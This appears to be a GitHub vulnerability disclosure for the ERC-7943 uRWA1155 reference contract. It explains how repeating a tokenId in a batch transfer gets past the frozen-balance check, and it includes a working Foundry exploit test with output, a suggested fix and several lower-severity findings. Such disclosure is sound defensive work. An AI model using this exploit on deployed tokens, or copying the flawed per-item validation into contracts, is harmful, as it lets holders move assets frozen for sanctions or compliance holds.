Skip to content

ERC-7943 (uRWA) reference impl: uRWA1155 duplicate-id batch transfer bypasses the frozen-token check #1814

@MavenRain

Description

@MavenRain

Summary

The uRWA1155 reference implementation (assets/erc-7943/contracts/uRWA1155.sol) lets a holder with no privileged role move frozen tokens out of their account by repeating the same tokenId within a single safeBatchTransferFrom. This defeats the freeze guarantee that is the core purpose of ERC-7943 (setFrozenTokens / ERC7943InsufficientUnfrozenBalance).

ERC-7943 reached Final on 2026-05-27 and these reference contracts are the natural starting point for issuers, so the bug is likely to be copied into production RWA tokens.

Affected code

uRWA1155._update transfer branch (lines 225-232), with the actual balance debit happening only after the loop (line 242):

for (uint256 i = 0; i < ids.length; ++i) {
    uint256 id = ids[i];
    uint256 value = values[i];
    uint256 unfrozenBalance = _unfrozenBalance(from, id);   // re-read fresh each iteration
    require(value <= balanceOf(from, id), ERC1155InsufficientBalance(from, balanceOf(from, id), value, id));
    require(value <= unfrozenBalance, ERC7943InsufficientUnfrozenBalance(from, id, value, unfrozenBalance));
}
// ...
super._update(from, to, ids, values);   // single debit, AFTER the loop (line 242)

Each batch element is validated against _unfrozenBalance(from, id), re-read fresh every iteration from the not-yet-decremented balance. The real debit (super._update) runs once, after the loop. When the same id appears twice, both entries pass the value <= unfrozenBalance check against the same stale figure, so the cumulative amount moved can reach min(balance, unfrozen * N), exceeding the unfrozen balance.

Impact

  • A whitelisted holder whose position was partially frozen by FREEZING_ROLE (a sanctions hold, vesting lock, or compliance freeze, which is the headline feature of an RWA token) can transfer the entire frozen portion out in one transaction, with no special permissions.
  • After the drain, getFrozenTokens still reports the stale frozen amount on a now-empty account, corrupting downstream compliance accounting and indexers.
  • This is also a canTransfer view/execution divergence: canTransfer(holder, dest, id, 100) correctly returns false, yet the duplicate-id batch moves 100, so integrators using canTransfer as a pre-flight oracle are misled.

The bug is bounded (it cannot exceed the raw balance, and a fully-frozen position where each chunk individually exceeds the unfrozen amount still reverts), but within those bounds it liberates the entire frozen portion of a partially-frozen balance.

Proof of concept

Drop this into assets/erc-7943/test/Dup1155PoC.t.sol and run forge test --match-path 'test/Dup1155PoC.t.sol' -vv using the repository's existing Foundry config (OpenZeppelin v5.1.0, solc 0.8.29):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.29;

import {Test} from "forge-std/Test.sol";
import {uRWA1155} from "../contracts/uRWA1155.sol";

contract Dup1155PoC is Test {
    uRWA1155 token;
    address admin  = address(0xA11CE);
    address holder = address(0xBEEF);
    address dest   = address(0xD35);
    uint256 constant ID = 1;

    function setUp() public {
        vm.startPrank(admin);
        token = new uRWA1155("ipfs://x/{id}.json", admin); // admin receives all roles
        token.changeSendWhitelist(holder, true);
        token.changeReceiveWhitelist(holder, true);
        token.changeSendWhitelist(dest, true);
        token.changeReceiveWhitelist(dest, true);
        token.mint(holder, ID, 100);
        token.setFrozenTokens(holder, ID, 50); // 50 of 100 frozen, 50 unfrozen
        vm.stopPrank();
    }

    // Sanity: a single transfer of 60 (> unfrozen 50) reverts as designed.
    function test_SingleOverUnfrozenReverts() public {
        vm.prank(holder);
        vm.expectRevert(); // ERC7943InsufficientUnfrozenBalance
        token.safeTransferFrom(holder, dest, ID, 60, "");
    }

    // Bug: batch [id, id] with [50, 50] drains the full 100, including the 50 frozen.
    function test_DuplicateIdBatchBypassesFrozen() public {
        uint256[] memory ids  = new uint256[](2);
        uint256[] memory vals = new uint256[](2);
        ids[0] = ID; ids[1] = ID;
        vals[0] = 50; vals[1] = 50;

        vm.prank(holder);
        token.safeBatchTransferFrom(holder, dest, ids, vals, "");

        emit log_named_uint("holder balance after", token.balanceOf(holder, ID));
        emit log_named_uint("dest balance after",   token.balanceOf(dest, ID));
        emit log_named_uint("frozen after (stale)", token.getFrozenTokens(holder, ID));

        assertEq(token.balanceOf(holder, ID), 0,   "holder drained including frozen");
        assertEq(token.balanceOf(dest, ID),   100, "dest received everything");
        assertEq(token.getFrozenTokens(holder, ID), 50, "frozen counter stale on empty account");
    }
}

Output:

[PASS] test_SingleOverUnfrozenReverts()
[PASS] test_DuplicateIdBatchBypassesFrozen()
  holder balance after: 0
  dest balance after: 100
  frozen after (stale): 50

Recommended fix

Accumulate per-id draws across the batch before validating, or validate against a decrementing working copy of the balance. For example, sum values per unique id and require the per-id total <= _unfrozenBalance(from, id). (Reverting on any duplicate id in a batch would also close the gap but is more restrictive than ERC-1155 requires.)

Additional findings (same review, lower severity)

While reviewing the three reference contracts I also found conformance issues below, each backed by a reproduced Foundry PoC:

# Contract(s) Severity Issue
1 uRWA20, 721, 1155 Low Self-directed forcedTransfer (from == to) runs _excessFrozenUpdate before a no-op balance move, zeroing the frozen counter while the holder keeps every token; no from != to guard.
2 uRWA20, 1155 Low canTransfer returns true for an over-balance amount when frozen == 0 (the balance check is nested inside if (frozen > 0)); the uRWA721 sibling does include a feasibility gate.
3 uRWA20, 1155 Low Burning a full balance while frozen > balance leaves a stale frozen counter (frozen > 0 at balance == 0) that wrongly locks later mints to the same account.
4 uRWA721, 1155 Low forcedTransfer into a receive-whitelisted contract that is not an ERC721/1155 receiver reverts, while the uRWA20 variant succeeds: cross-variant inconsistency on the seizure path.

I am happy to open these as separate issues or share the full report and PoC suite.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions